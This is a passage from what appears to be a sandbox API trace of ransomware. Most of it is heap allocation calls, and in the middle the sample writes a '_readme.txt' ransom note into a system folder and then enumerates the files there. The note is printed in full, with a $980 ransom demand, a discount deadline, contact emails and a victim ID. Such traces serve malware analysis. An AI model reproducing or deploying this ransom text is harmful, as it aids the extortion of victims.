hHeap=0x35b0000) returned 1 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.197] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.197] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.198] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.198] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.199] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.199] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.199] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.199] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.199] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.199] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.199] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.199] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.199] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.199] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.199] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.199] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.199] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.199] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.199] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.199] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.199] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.199] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0117.199] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.199] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.199] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.199] PathFindFileNameW (pszPath="") returned="" [0117.199] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.199] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.200] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.200] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.200] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.200] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.200] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.200] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.200] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0117.200] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.200] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0117.201] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.201] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.201] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.201] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.201] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.201] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.201] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.201] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.201] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.201] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.202] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.202] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.202] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.203] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.203] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 